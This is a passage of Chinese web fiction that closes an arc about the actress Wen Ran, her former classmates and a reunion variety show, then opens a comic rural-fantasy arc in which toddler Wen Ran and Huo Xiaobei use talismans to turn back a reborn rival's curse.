传统媒体逐渐没落,网络剧从粗制滥造开始向大投资大制作发展。 与此同时,国内电影票房一再攀升,当初《上路1》创造的票房纪录,如今已经来到12亿。 和网络视频平台一起兴起的,还有真人秀综艺。 许虹和海阳成了真人秀的常客。 同学群里调侃:“海阳,你拍电视剧就是为了上综艺节目宣传吧?” 海阳:“去去去一边去!那还不是因为综艺赚钱啊?” 许虹:“我就不一样了,我只是不想自己的美貌只有我一个欣赏。” 群里一片省略号。 许虹怒了:“我本来有个综艺邀约,对方要给咱们办同学会,现在我拒绝!” 范宜然冒出来:“什么综艺?请咱们全班去?通告费多少啊?” 一群人七嘴八舌开始讨论起来。 杜凌:“咱们99级哪个拿出去不是大咖?虽然是比不上那些流量明星,但没个百八十万的我可不去。” 他这话是谦虚了,影帝加视帝,还有一部刚刚结束播放的大爆剧加身,他可比什么顶流火多了? 许虹卡卡打字:“就聚一聚呗,好玩儿就行了,我还想组织个班级旅行呢,这不是大家都忙,一直不成吗?” 海阳不知道干什么去了,现在才回:“那得问问蓉蓉和小苒吧,她俩一个火得冒烟儿了,一个天天不见人影。杜凌,小苒最近干啥呢?拍电影了没?” 杜凌:“拍呢拍呢,马上就出来了,我刚从剧组出来。” 众人齐齐震惊,“你真是个牲口啊?刚拍完电视剧就拍电影,你都赚多少钱了,你这么忙图啥啊?” 屏幕后的杜凌叹气,能图啥?图不掉队呗? 如果你有两个卷王合伙人,你也不会停下来,因为一停下来就心虚。 温苒和霍骁北就不是人,别人休息完了就只是休息完了,她们休息的产物则是一沓沓的剧本。 哦,不对,有一年这俩人出国旅游,还和弗朗索瓦的某个徒弟合作拍了一部电影,然后那部电影的票房,现在是国内票房纪录。 温苒也因此成就了,一部电影拿下六大电影节大满贯影后的纪录。 杜凌真是不敢停,他除了结婚的时候休息了半个月,然后就被亲爹娘赶出家门。 拍完电影,温苒和霍骁北回了梁海。 霍青山和乔丽淑还没退休,目前除了工作就是养孩子 。 孩子当然不是霍骁北和温苒的,而是赵成宇那个十六岁时生下来的孩子。 对方回国后就开始调查母子俩的下落,一查到地址,就派人放火暗杀。 孩子的母亲烧伤,经过治疗已经无碍,但孩子的继父却因这场火丧生。 孩子母亲找上门来,把孩子交给了霍青山,然后独自离开。 乔丽淑虽然不喜欢赵成宇,但对这孩子是真喜欢。 孩子送来时已经有十来岁,照乔丽淑的话说,这孩子懂事知礼,知恩图报,比赵成宇那个白眼狼好多了。 今年孩子高考,说是打算报名做一名医生。 乔丽淑私下跟温苒说:“他怕是还记着那场大火呢,他那个后爸对他挺不错的,起火的时候护着他们母子,所以烧伤面积最大,没抢救过来。” 所以赵成宇死不足惜。 赵成宇的另一个孩子,文雪的儿子,据说过得就一般般。 文雪后来还是进了娱乐圈,她什么苦都肯吃,就是不吃没钱没名的苦。 傍大款、拍戏、整容、直播卖货…… 文雪只看自己过得好不好,孩子她不管,亲妈和弟弟也不管。 董秀英这辈子就指望俩孩子,女儿指望不上,儿子吧也指望不上。 温冬没考大学,没考就没考吧,也不上班,天天窝家里打游戏看小说,现在三十来岁的人了还在打游戏看小说。 温长林抄起棍子教训他,结果受了一耳光加一脚,温长林就彻底老实了。 现在温长林和董秀英,一个开出租一个扫大街,赚钱养他们的宝贝儿子。 也不是没想过来沾温苒的边儿,但每次一有想法,霍骁北就在报纸或者网络上把当年的访谈翻出来。 温长林和董秀英的一份份工作就是这么丢的,如果连扫大街和开出租都丢了,恐怕就只能去捡垃圾了。 高考后,暑期档温苒和杜凌的电影上映,《重回十八岁》。 一部诙谐搞笑偏向黑色幽默的片子。 离异夫妻遭遇车祸,重回十八岁,走上人生巅峰? 错! 首先,高考落榜,复读or打工? 时隔多年,12亿的票房纪录终于动了动,来到20亿。 与此同时,《同学再会》官宣了长京戏剧学院99级作为下期嘉宾。 网络瞬间沸腾。 “妈哎,让我数数,这里头几个影帝视帝影后视后?” “我的天!杜凌也会去吗?他好像是这里面最低调的了,除了拍戏就是拍戏。” “上面的,收回你的话,让我们温苒的影迷怎么办?杜凌还参加过节目宣传呢,温苒可是只能在电影院里看到!!!” “抱抱楼上,刚去电影院刷了三遍,影后果然是影后,我每次看到她都挪不开眼睛。” “哈哈哈,我爸妈就是因为《婉君》结缘,当时俩人相亲去看电影,看到一半直接害怕地抱在一起瑟瑟发抖哈哈哈——” “楼上你笑得太大声了你敢说你不害怕吗?” “我爸妈也是温苒的影迷,据说温苒当时在学生口中有个外号,叫‘恐怖片女王’哈哈哈——” “‘恐怖片女王’名副其实啊,《婉君》《惊梦》《迷山》《不要开门》《是她》……沃的妈妈还有不恐怖的吗?” 温苒看到这条评论,在下面留言:“《重返十八岁》很恐怖吗?” 网友们发现是正主,立马啪啪打字回复: “重回高考考场难道不恐怖吗?” “高考落榜难道不恐怖吗?” “落榜后被介绍的相亲对象是上辈子刚离婚的老公难道不恐怖吗?” 温苒:“……” 她,丢失影后大名,最终以‘恐怖片女王’闻名于世。 电影下映后,温苒回到看书旅游的日子,和霍骁北静静享受生活。 她始终站在舞台上,散发着耀眼的光芒,实现原主的愿望。 第75章 第75章千禧年影后18 许虹推荐的《同学再会》综艺在暑假录制,知道温苒正好无事,杜凌海阳她们开始轮番上阵骚扰。 今天这个说:“去嘛去嘛!就是去玩玩,班任都答应要去了,咱们难得聚这么齐,就差你一个多可惜!” 明天那个锲而不舍地来敲门,“你不去,我们可就找别人了!” 已经答应许虹的温苒:“???” 不是?我不去你还能再找谁?还有第二个温苒吗? 杜凌四仰八叉躺在温苒家客厅的沙发上,“还真有!小温苒知道吧?去网上一搜,顶着这个名号出道的没有八九个也有六七个!” 温苒:“……” 温苒抄起抱枕,把这个讨人嫌轰出了门。 连续好多天,杜凌两口子都没能再过来蹭饭,杜凌因此被老婆揪着耳朵狠狠教训了一顿。 温苒答应参加综艺后,经纪人风风火火上门来,咧着个大白牙,笑得放肆张狂:“我给你接了个通告,就是去走个红毯,看个晚会。” 温苒刚要说话,经纪人抬手打断她:“不要找借口!” “一,现在是夏天,穿礼服不冷。” “二,正好可以宣传你的电影。” “三,你再不露面,你知道你都成‘小齐欣’‘小林雪’‘小白兰兰’了吗?” 温苒:“……” 所以为什么她要成为这些‘小XX’? 经纪人抱胸冷哼,“你不关注娱乐圈,不知道现在的小花们营销起来多不要脸!” “那个拍了部电影火了就说是你温苒的接班人,这个拍了部电视剧火了,就说是‘电视剧圈的温苒’,还有硬是整容化妆捯饬得跟你三分像的,直接顶着‘小温苒’的外号开始营销!” “有事没事好事坏事都要拉你温苒出来比较比较,没热度就硬蹭!” “还有更过分的,那个白兰兰不仅照着你整容,还找了个死肥男垃圾导演结婚,俩人还拍了部公路片!” 经纪人看着温苒,眼神锋利,“你知道什么意思吧?” 温苒躺回躺椅上,“那些营销通稿霍骁北不都处理了吗?” 经纪人深呼吸,“是处理了,但你就不膈应吗?她们那个电影《上路了》简直就是坨大便!” 温苒:“……” 温苒问她:“你要不要再签个演员?” 温苒的工作很多时候霍骁北就能处理,她不演戏的时候就休息,代言至今也就寥寥几家,S牌、A牌和T家的珠宝B家的车子,一年一支广告和一刊杂志。 所以温苒的经纪人很闲,非常闲,闲到现在一半的精力都放在跨行当制片人上。 经纪人冷笑,“算了吧,又不是没签过,净给我闹幺蛾子。” “总之,接下来我给你安排一场晚会和一档田园慢综,你必须去!” 温苒耍赖,“不去,我还要写剧本。” 经纪人上去拽她,“你写那么多你倒是拍啊!你和霍导要是跟杜凌一样住在剧组,我肯定不找你上综艺!” “哎呀你放心,是橘子视频的晚会和樱桃平台的综艺,这两个平台都有霍导的投资,你去了肯定不会受欺负。” 温苒安详闭眼,她难道会怕受欺负吗?她就是懒! 经纪人这回跟她杠上了,温苒不同意,她就每天来念经。 温苒:“……” 最后没办法,她还是去了一遭。 因为当作是电影宣传,她、霍骁北和杜凌一起走了红毯。 除了各大颁奖礼和电影节,温苒还是第一次参加这种纯娱乐性质的晚会,跟吃大席一样,八九个人一张大圆桌。 四周坐的都是面生的年轻人,杜凌倒是谁都认识,谁都能呱呱两句,温苒和霍骁北听他说八卦就不会无聊。 “那边那个,算起来还是咱们学妹,拍了部投资二十亿的电影,还是中美合拍,结果全球票房不到两千万,扑到地心去了。” 自《惊梦》之后,各个国家都掀起了合拍风潮,什么日英、美日、韩美都扑得一塌糊涂,华俄华法好歹还有基本盘能冲个奖。 但是像《惊梦》那样创造纪录,奖项全扫,票房足以和商业片媲美的艺术片,却是再 也没有了。 “还有那个,那个男明星,小白脸看见没?他为了讨好金主们,已经预约了泰国的变性手术。” 温苒:“……” “左边那个,长得跟个鞋拔子似的,是个男爱豆,一面和他们团里的成员们搞暧昧,一面约粉丝去酒店。” “右边那个,别看模样端正风评不错,粉丝全是女友粉,其实早就隐婚生了孩子,在剧组里和别的女明星搞暧昧。” 听杜凌讲了一圈,温苒发现,遍地竟无一人幸免。 杜凌参加这种晚会还挺有经验,不到散场的时候就带俩人离开。 “得快点走,你俩在里头就是狼窝里放了块肉,再不走待会儿可就走不了了。” 温苒,影后加编剧,谁不想来蹭她的热度? 霍骁北,著名导演,男的女的都想来挨边。 更不要说这俩人都长了一副好相貌,沾不上资源占便宜也有大把人想要呢。 温苒:“……” 温苒好奇,“所以你也被占过便宜?” 杜凌噎了噎,“那倒没有,我一向洁身自好,你可不要在我媳妇儿面前污蔑我的清白!” 他振振有词。 晚会后,温苒和霍骁北早早休息,明天温苒出发去录综艺,霍骁北要去长京给康老师过生日。 歇下没多久,温苒的手机就响了。 霍骁北拿过来摁灭,轻抚着温苒的后背,让她继续睡。 他下床走到客厅,看手机上的消息。 经纪人大半夜抽风,已经发了几十条微信。 【哈哈哈哈上热搜啦我就说还得是正版温苒!】 【你们跟杜凌聊什么呢?我已经不懂网友们了,不知道一个机位有什么好看的?】 【……离谱,竟然有偶像剧想请你和杜凌去演,演什么?中年偶像剧吗?吃点好的吧!】 【我错了,我收回刚才的话,还有更离谱的,还有来问霍导是不是咱们公司新签的男艺人接不接戏的?】 【不聊了不聊了我电话都要被打爆了!】 确认没有重要信息,霍骁北把手机放在客厅,回到卧室。 第二天,两口子在车站分开。 温苒和杜凌坐高铁去《同学再会》的录制地点。 杜凌拿毯子盖腿,往后仰躺着,“录完这个还有个田园综艺,哎哟,可太忙了。” 温苒不想说话,为了赶行程她都没睡够,戴上眼镜就睡过去了。 《同学再会》的录制地点在一家休闲农庄,各式田园别墅林立,小道蜿蜒。 温苒负手漫步在田间,悠哉地欣赏风景。 杜凌负重蹒跚在她身后,呼哧带喘求她走慢点。 温苒摆摆手,“你慢慢走吧,不着急。” 直播见滑过一片‘哈哈哈哈’。 【哈哈哈杜凌,谁让你嘴贱的?】 【这箱子一点也不重!真的不重![杜凌费劲脸.jpg]】 综艺一期录制三天。 第一天上午集合,下午收拾房间,第二天活动,第三天准备晚会。 温苒和杜凌是来得最早的两个,把所有赞助的小零食尝了个遍,其他人才姗姗来迟。 导演后台笑疯了,这俩人碰过的东西都卖空了。 中午饭点忙活着做饭时,范宜然和邢玉洁两个才结伴而来。 其他人手艺都马马虎虎,也就这俩能丁点用,来了洗把手就开始掌勺。 一道番茄炒蛋出锅,邢玉洁视线转了一圈,“蓉蓉还没到吗?” 许虹过来端菜,“她昨天拍了一夜的戏,拍完眼睛都没合就往这边赶,估计下午能到。” 海阳给大家分筷子,听见这话回道:“蓉蓉是咱们班里最忙的,每次跟她打电话看她背景都在剧组。” 和温苒只拍电影,杜凌电影电视剧都有涉足不同,刘蓉蓉从出道就只拍过电视剧。 狗血年代剧、狗血豪门剧、偶像剧再到后来网络剧兴起,刘蓉蓉拍一部火一部,演技好形象好能扛剧,现在都还有拍不完的偶像剧。 用杜凌的话说,刘蓉蓉是班里唯一一个明星,其他人都更偏向演员。 邢玉洁听了,问道:“蓉蓉没想过转型啊?” 班里年纪最小的温苒都三十二了,刘蓉蓉三十多岁还拍偶像剧,实在不应该。 许虹道:“转了,刚拍完小苒一个剧本,是个悬疑题材的。” 邢玉洁放心了,“那就行,你们心里都有点数,尤其是你们俩,许虹还有海阳,拍综艺也行,不要忘了提升演技。” 杜凌捧着饭碗嘲笑,却不想下一秒邢玉洁的话头就转到他身上,“你的演技大部分时候是好的,偶尔太油腻,用力过猛。” 海阳不客气地笑回去,“他也就拍霍导的戏才不油腻。” 邢玉洁点了点头表示认同,然后话题再转到温苒身上,“你们多跟小苒学学!” 众人都默默扒饭,人啊,就该认清现实。 她们怎么学?是学温苒拿影后?还是学温苒写剧本? 都不行! 她们还是凑活过吧。 一场师生聚餐,愣是拍成了修罗场。 弹幕上一片哈哈哈: 【老师果然是老师,刺头许虹都老老实实的。】 【老师也是,谁都没放过!】 直播片段一连上了几个热搜,直播间热度一再飙升,霸占榜首不动弹。 网友们说了,看这群人唠嗑都能看一天。 录制结束,温苒和杜凌马不停蹄赶去下一个节目,然后在那里碰到了霍骁北。 温苒看着他走到面前,“你怎么在这儿?” 霍骁北牵过她的手,“正好没事,就来了。” 弹幕上说什么的都有: 【谁!谁提的给她们拍中年偶像剧!拍!立马给我拍!】 【杜凌:???不是要给我拍吗?】 【老师说了,杜凌演技油腻,不要他!】 露了次面,温苒就回家躺平,每天和霍骁北看看书,过着悠闲的生活。 第76章 第76章零零年代乡村小神婆1 2004年春节刚过,年初六,霍骁北的父亲霍正国就接了趟货,和朋友把一车水泥运到山西去。 这两年闹灾,进京的货不好送,车子闲着也是闲着,霍正国打算跑跑别的路线,省的天天闲家里心里发慌。 公路旁边,温大娘牵着小外孙女温苒,温苒牵着霍骁北,目送霍正国上了大车。 关上车门,霍正国从车窗后探出头,“骁北,在你温奶奶家要听话,爸送完货给你买小汽车回来。” 五岁的霍骁北板着小脸,“爸,我不要小汽车,你给我折算成现金,我要留着买书看。” 霍正国听完愣了愣,然后咧嘴大笑道:“好好好!我都给你买!我儿子爱看书我还能亏你不成?” 说完,他看向儿子旁边的小不点儿女娃娃,“小苒苒啊,伯伯也给你买漂亮娃娃。” 温苒:“……” 温苒仰起小脸,“伯伯,我给你的符牌你要戴好。” 霍正国摸了摸脖子上的木牌,“知道,伯伯肯定不离身。” 大冬天的,公路上一辆接一辆的车呼啸而过,冷风肆虐,抽打在身上。 怕给孩子冻坏了,霍正国发动车子,“婶子,我这就走了,骁北就麻烦您照顾。” 温大娘抱起小外孙女,牵上小骁北退到后边,“哎!你就放心吧!” 大车慢吞吞上了路,后视镜里映出一大两小挥手注目的身影,霍正国咧嘴笑了笑。 送完人,温苒从外婆身上下来,指着路对面的小卖铺,笑得露出两排小米牙。 温大娘点了点这小娃娃,笑骂道:“馋嘴猴儿!” 穿过马路进了小卖铺,温苒一路扫荡过去,结账时才花了十块钱不到。 霍骁北主动背过小书包,温大娘见了,说道:“骁北,让奶奶拿,你牵着小苒走路。” 霍骁北摇头,他还要趁机往里头塞点东西,“我饿了,我想快点回家。” 穿过马路,路口正对着酸枣乡的乡政府大门,三人沿着墙角往家走。 路过大磨房,磨房里有一块晒粮食的空地 ,一群闲得发慌的娘们儿们聚在那边唠嗑,见到温大娘,纷纷出声招呼。 “婶子快来坐,您还不知道吧,他们一帮小子放二踢脚,把张家的娃娃给炸了!” 温大娘本想说不坐了,听到这么劲爆的消息有些走不动。 温苒穿着胖老虎棉鞋的脚脚动了动,踩在霍骁北头发上,等他看过来时,忽闪着大眼睛明示他。 快! 男主! 留下来! 霍骁北无奈地挪开地方,主动道:“奶奶,我可以吃面包。” 温大娘迟疑道:“要不你带小苒先回家?灶上还温着饺子,够你们两个吃了。” 霍骁北点头,“我带苒妹妹回家,她也饿了。” 温苒张了张嘴,结果肚子先咕噜噜响了。 温苒:“……” 温大娘把小孙女放地上,给她抻好衣服,“跟你骁北哥哥回家吃饺子,奶奶待会儿就回家。” 温苒撅着小嘴,一步一停地被霍骁北带离了八卦现场。 霍骁北看着好笑,“嘴翘得都能挂油瓶了。” 温苒气呼呼迈着步子,婴儿肥的脸蛋duang~duang~晃动,“听男主的八卦是正事。” 一个三岁多点的小娃娃,张口闭口就是正事,在霍骁北眼里看起来就很喜感。 霍骁北憋着笑,“填饱肚子再谈正事。” 温家和霍家比邻而居,在磨房后面第三排,下一个大土坡,走到街尾就是温家,倒数第二家就是霍家。 街尾是一片酸枣树,间或几颗梨树。 霍正国出车的这段时间,霍骁北暂住在温家。 元宵节还未过,各家各户的年味儿正浓,门口的红灯笼红春联齐全得很,外出打工的老百姓也都还没走。 邻里邻居都不太懂,霍正国就一个儿子,家底也不薄,做什么初六就要离家? 一路过来,每个人都要问一嘴:“骁北,你爸出车了?” 就这么快到家时,温苒瞥见酸枣林里一道影子窜过。 想到什么,她瞪圆眼睛,“有狼!黄鼠狼来偷鸡了!” “啥?” 街上唠嗑的娘姑婶子们,抄起屁股下的小板凳就跑过来。 温苒停在自家大门前,从脖子里勾出一根红绳,红绳尾端坠着一把钥匙。 她两手握着钥匙,小脸严肃地望向霍骁北。 霍骁北绕到她身后,把她抱起来。 艰难地打开门锁后,婶娘们一窝蜂挤进温家院里。 “嚯!果然是有黄鼠狼!温婶子家的鸡丢了两只!” 只见墙角香椿树下,鸡笼大开,而里面的住户不见了踪影。 “哎不对?”有人后知后觉,“这黄鼠狼成精了?还会开锁了?” 鸡笼门用细铁丝拧了好些圈,现在门开着,拧紧的细铁丝并没有断,而是拧开了。 温苒凑近了看,大眼睛里满是认真,“难道是人偷的?” 她第一反应是黄鼠狼,是因为之前家里来过黄鼠狼,所以才把鸡笼加固成现在这样。 跟来的婶娘们就地放下板凳,开始讨论起来。 “看来是黄鼠狼成精了,我家的鸡回头夜里得搬屋里去才行。” “也保不齐是人偷的,啥人啊?敢偷温婶子家?” “大过年的,啥人也不兴偷东西啊?真闹心!” 霍骁北端出饺子来,喊温苒进屋吃饭。 温苒背着手,迈着老鸭步晃悠到门口,回头冲一群婶娘们说道:“屋里有热水哦!” “行,我们知道,你赶紧去吃饭,我们不跟你客气。” 温苒进了屋,这时大门外一道黑影窜过去。 一个婶子揉着眼睛,迟疑道:“那是张家那个小子吧?” “啥?张家的小子?是不是叫耀祖的那个?他不是让二踢脚给炸死了吗?” 屋里竖着耳朵偷听的温苒:“什么?!” 男主张耀祖被炸死了? 霍骁北叹气,“先吃饭,没有炸死。” 一传十十传百,有点差错很正常。 温苒把掉进碗里的饺子重新拿起来,大眼睛咕噜噜转一圈,大声道:“我明白了!” 霍骁北淡定地吃着饺子。 温苒撤走他的碗,待他看过来时,盯着他的眼睛,笃定道:“是张耀祖偷的鸡!” 霍骁北把碗挪回来,“待会儿算一卦就清楚了。” 填饱肚子,温苒哒哒哒跑回西屋,爬上炕,从炕头盒子里摸出一把铜钱。 “你先算。” 霍骁北嗯了声,展开被子给温苒盖上,“没猜错的话,他应该重生了。” 这是一本男频重生年代小说。 男主张耀祖,生在贫穷的小山村里一户贫穷的人家。 张耀祖一辈子庸庸碌碌一事无成,为了考大学复读三年,累死爹妈累死爷奶,然后他就重生了。 重生到六岁这年,他读幼儿园之前,绑定了学霸系统,利用系统,张耀祖成为远近闻名的神童,并在高考时考上全省第一。 为了洗刷上辈子的耻辱,张耀祖依旧复读三年,每年都是全省第一,最终在第五年时,接受了长华大学的录取通知书。 而在这个故事里,温苒和霍骁北不出意外又是炮灰。 霍骁北是张耀祖上辈子的死对头,张耀祖单方面认为的。 张耀祖屡考不第,而霍骁北自小就是别人家的孩子。 张耀祖读书亏钱,霍骁北读书赚钱。 所以重生后,张耀祖最重要的一件事就是把霍骁北打击得体无完肤。 至于温苒,她完全是受了外婆温大娘的连累。 温大娘是十里八乡有名的神婆,张耀祖出生时,他爷爷请温大娘算了一卦。 温大娘直言不讳,说张耀祖是个扫把星,衰神附体,谁沾谁倒霉。 张耀祖的爷爷奶奶当时就不依了,闹着不给卦钱,还到处造谣温老太没本事,只会装神弄鬼。 温大娘也不是好性子,本来还想告诉这老两口压制扫把星的办法,见状立时撒手不管。 后来的发展也正如温大娘的卦象所言,张耀祖出生后,张家人本来红红火火的日子一泻而下,最终连命都累没了。 张耀祖一直记着这个‘诅咒’,在他看来他的遭遇都是因为温大娘的‘诅咒’,所以重生后他第一件事就是报复。 借助学霸系统的奖励,张耀祖先是让温老太摔进沟里瘫痪,又找温苒生父那边的人把她偷走。 而被偷走的温苒因高烧不治,小小年纪就烧成了傻子,长大后又被卖进深山里,没多久就香消玉殒。 霍骁北的卦象出了结果,“他在厕所里放了东西。” 这个年代乡下人家多是旱厕,温苒家有旱厕,也有冲水厕所,所以旱厕就充当了垃圾堆。 等那帮婶子离开,温苒和霍骁北捏着鼻子来到旱厕。 霍骁北拿着夹子夹出一截黑乎乎的木头。 温苒捂着口鼻连退几大步,“好难闻。” 不是单纯的臭,还有一种直冲天灵盖的熏香味,香臭混杂才是最难闻的。 霍骁北站远了,朝她伸手,温苒憋着气掏了掏两个兜,掏出一张符纸来远远地递给他。 霍骁北低声念了句咒语,符纸无风而动,飞到木头上变成一团火落下。 火焰引燃木头,噼里啪啦燃烧起来,散发出更难闻的气味。 霍骁北丢下夹子和木头,转身抱起温苒跑进屋里。 温苒靠在霍骁北身上哈哈呼呼喘气,吐着舌头像条小哈巴狗,“是诅咒!” 霍骁北揉了揉她的小脑袋,“现在已经反噬了。” 搞定一件大事,张耀祖飞奔回家,越想越痛快。 老虔婆,叫你诅咒我,我也让你尝尝诅咒的滋味! 张耀祖跳着笑着,开心地转起了圈。 一颗石子骨碌碌滚过来,一只脚跳上去,张耀祖眼前的景象开始颠倒。 “啊——” 骨碌碌砰—— 一声咆哮穿透云霄: “天杀的!谁往我家粪坑扔炮仗了!我他爹正蹲茅坑呢!” 第77章 第77章零零年代乡村小神婆2 年纪小容易累,觉也多,温苒揉揉眼睛,爬上炕睡了。 霍骁北往灶里添了煤块,坐上水壶,也回西屋,在温苒旁边睡下。 不知道过了多久,温大娘爽朗高亢的笑声一路从院门来到堂屋,径直进了西屋。 俩小孩儿睡眼惺忪地坐起来,裹着被子靠在一起,呆呆地看着停不下笑声的大人。 温苒:“姥姥……” 温大娘:“哈哈哈哈——” 温苒揉了揉耳朵,所以到底发生什么事了?有那么好笑么?说出来也让她笑笑啊! 温大娘笑够了,倒杯水润润嗓子,先问:“你俩吃了没?渴不渴?饿不饿?” 说着,新倒的温水送到俩人手边儿。 北方干燥,炕屋里更干,待一会儿功夫喉咙就干得发疼。 温苒就着搪瓷缸子,咕嘟咕嘟下去小半缸,接着水缸转交到霍骁北手里。 他说了声谢谢,把剩下的水喝完。 温大娘把缸子放桌上,过来坐到炕沿上,看着俩人说道:“张家那个扫把星,大过年的掉人家茅坑里去了哈哈哈哈——” 温苒呆了呆,也爆发出咯咯咯的清脆笑声。 温大娘笑得前仰后合,拍着大腿乐个不停,“哎哟喂,几条街都能闻到臭烘烘的屎尿味!得亏咱家住得偏!” 温苒笑得更大声 了,只不过她刚喝完水,小肚子一震,就呛着了。 霍骁北和温大娘连忙一前一后地给她捋后背胸脯。 温大娘:“木事木事,起来走走。” 温苒不咳了,站起来到墙边靠了一会儿,“姥姥,咱家的鸡被偷了。” 温大娘面上的喜悦一僵,脸色瞬间暴怒,撸起袖子急匆匆往外走,“谁敢偷老娘的鸡?” 温苒小脑袋一转,隔着玻璃窗望向院里。 她姥姥飞奔到鸡笼跟前,猫着腰里里外外上上下下看了个遍,直起身子来边拍大腿边跺脚。 隐隐地,还传进来了不甚清晰的叫骂声。 姥姥骂骂咧咧回来,“天杀的别让我抓住那毛贼!” 温苒迈着小短腿走到被窝窝里,一屁股坐下来,仰着小脸得意地笑道:“是张耀祖!我们已经报仇了!” 温大娘愣了下,反应过来,“你俩让他掉茅坑的?” 温苒点了两下小脑袋,振振有词道:“是张耀祖自食其果!” 温大娘瞅着小孙女,嘴里直嘀咕,“你丁点儿大一人,说话还挺文绉绉的。” 温苒就当是姥姥在夸她了,骄傲地挺了挺胸脯,把张耀祖做的事竹筒倒豆子一般说出来。 温大娘火冒三丈,“天杀的扫把星!” 发完火她有些纳闷,“他哪来的什么黑木头?” 温苒缩进被窝里,只露出圆脑袋来,“书上说,黑木头是用尸油浸泡出来的,踩到的人会中诅咒,特别倒霉。” 温大娘听得皱巴起老脸来,“也不嫌寒碜?你们没踩到吧?” 霍骁北摇头,“用阳火符烧干净了。” 温大娘松了口气,“那就好,估计是扫把星从哪儿捡的吧,好东西捡不到,净可着这些恶心玩意儿捡了。” 温苒小声:“说不定不是他捡的,是他从什么人手里得到的呢?” 温大娘惊奇,“何出此言?” 温苒把脸蛋埋进棉被里蹭了蹭,抬起脑袋来,“我猜的!姥姥你之前不是说过嘛,天师里面也有坏蛋!” 温大娘想也不想就摇头,“一般走歪门邪道的天师法术都不低,肯定能看出来扫把星的命格,他们啊忌讳着呢,跑都来不及,怎么会愿意沾边儿?” 村里再与人为善的人家,跟张家来往倒过大霉后,也都学聪明了,现在能远着就远着。 温大娘想了想,“马上饭点了,待会儿吃完饭我拜拜三清求祖师爷保佑。他个扫把星进了咱家,可别把衰运留下了。” 找鸡的事不着急,扫把星就是个倒霉的命,前世恶事做多了,这辈子来受苦赎罪的,他就是偷着了鸡也吃不到。 温苒蹭地掀起被子,“姥姥我不要吃饺子了!” 从小年就开始吃,一直吃到现在,蒸的煮的煎的素的荤的,几乎每顿都有,温苒实在是吃腻了! 温大娘起身三步并两步上前,一巴掌轻轻拍过去,“你咳嗽刚好你忘了?给我回去被子里!” 温苒鼓鼓腮,跟个小牛犊一样,蹭蹭爬到霍骁北身边,钻进了他的被子里。 温大娘撸起袖子,把她的被子重新裹好,“那你跟哥哥玩儿,姥姥去做饭,蒸米饭蒜苔炒肉炒鸡蛋吃不吃?” 温苒小鸡啄米一样点头,“我还想吃豆腐。” “那你想吧,咱家没鲜豆腐了,咸豆腐片你吃不了。” 温大娘不客气地撂下话,转身去了堂屋做饭。 另一边,张家人把裹满大粪的屎人捞上来,一路抱回家,屎尿也沥沥拉拉了一路。 围观的人群里呕声不断。 “这张家老两口也是邪了门了,以前多疼他家孙女啊,自打这扫把星出生,孙女成来还债的了。” “要不怎么说是扫把星呢?他一出生,张家婶子三头两天的浑身犯毛病,张家这日子也是一天不如一天。” “要我说也是活该!谁让张老头记恨当年那点破事,为几块钱把温婶子得罪死了?温婶子说他孙子是扫把星,他不乐意还想赖账,我看他心里指不定也后悔了,就是拉不下脸来。” “不怪温婶子看不上他啊?瞅瞅他这斤斤计较的小气样?” 张老头抱着孙子回家,到家门口时,他一个趔趄往前扑倒。 怀里的孩子高高地飞上天,扑通一声,又掉进了茅坑。 跟过来的村里百姓:“……” 这还不算,后面给张耀祖洗澡,半人高的水缸里刚倒上热水,抱着孙子的张老头手上脱力,扑通一声—— 张耀祖掉了进去。 一家人手忙脚乱地救孩子,结果晕死过去的张耀祖滑不溜手的,谁捞都捞不起来。 围观群众看得着急,出主意:“赶紧倒凉水啊!” 幸亏壳子裹得厚,不然得给这孩子烫个好歹出来! 于是几桶凉水兜头浇下去。 就这么一冷一热的交替,还没洗干净呢,张耀祖就发起了高热。 温家小院,下午村里人来串门儿,看到失而复得的两只鸡,奇道:“还得是婶子啊?” 温大娘笑了笑,这还真不是她找到的,她在玄学一道上天资寥寥,偏偏有个小孙女不一般。 哦,小孙女天天喊的邻家哥哥天赋也不错。 温苒从这帮婶子口中得知,张耀祖掉下茅坑两次,还让开水烫了一身的泡,又在刚打上来的拔凉井水里七上八下地洗刷干净,现在已经高热送了卫生所。 温苒惊讶地张圆嘴巴,就这个倒霉法儿,张耀祖上辈子能活二十多岁可真不容易啊? 不过转念她反应过来,今天主要起作用的应该是诅咒反噬才对。 温苒托着婴儿肥小脸,心想张耀祖吃了这么大亏,肯定不会善罢甘休的。 晚饭吃疙瘩汤,三人去主屋的炕上,边吃饭边看电视。 温大娘说道:“家里符纸和朱砂没有了,明天我要进趟城。” 温苒举手,“我也想去!” 温大娘就知道,这小娃娃可不会安分地待在家里。 “行,都去,姥姥带你们去吃肉丝面吃肉包子。” 温苒咕哝着小嘴喝了一口疙瘩汤,咽下去后抢答:“我还想吃炸串!” 才三岁大点的孩子,天天不是吃这个就是吃那个,温大娘真怕给她那小肚子吃坏了。 “只能吃一串。” 不让吃,孩子撅着小嘴不高兴,她又心疼。 温苒开心地点了点小脑袋,凑过去和霍骁北商量:“我们要不一样的。” 霍骁北当然都依着她。 第二天,半上午十点多,温大娘着急忙慌带着俩孩子出门。 温大娘扬起手掌,手起掌落,轻轻落在小孙女的屁股上,“瞌睡大王!小馋猫!除了吃就是睡,差点儿就因为你耽误事儿了!” 温苒蔫哒哒地趴在姥姥肩头,“但我是事出有因,我年纪还小,布阵耗费心神,才睡过了头。” 温大娘用力哼了声,拉过霍骁北,“你哥哥也布了阵,都能按时起来。” 温苒大眼睛一瞥,视线落在霍骁北的后脑勺上,“我是三岁小孩儿,他比我大两岁九个月!” 温大娘:“……” 这一套套的歪理,反正她是说不过。 “姥姥不跟你一般见识,姥姥明天去看戏,你还像今天这样,姥姥就不带你。” 温苒支棱起来,“听戏?去哪里听?还要进城吗?” 温大娘点了点她的小鼻子,“你想得美!” 她笑着道:“这不是过年么,咱村东边的一户人家,他家 孩子挣了钱,请了戏班子来热闹,给他们爹娘长脸!” 还是昨天的路口,三人坐在马路边的水泥墩子上,等公交车。 酸枣乡只有一辆往返县城的公交车,时间不定,车次不定。 她们运气不错,坐下没两分钟,就看到了土黄色的大巴车。 温大娘抱一个牵一个,来到车门前。 门开,零星几个乘客下来,三人很快上车,在空位上坐下来。 小孩儿免票,温大娘只掏了她的五毛钱。 公交车调转车头,嗖一下就到了县城,拢共不过一刻钟。 快到饭点,唯恐到时人多,温大娘提前带孩子去吃饭。 “肉丝面的摊子今天没来,咱们吃米线,再买两屉肉包子。” 她和两个孩子商量。 温苒扭着脑袋四下张望,闻言一脸乖巧,“我都听姥姥的。” 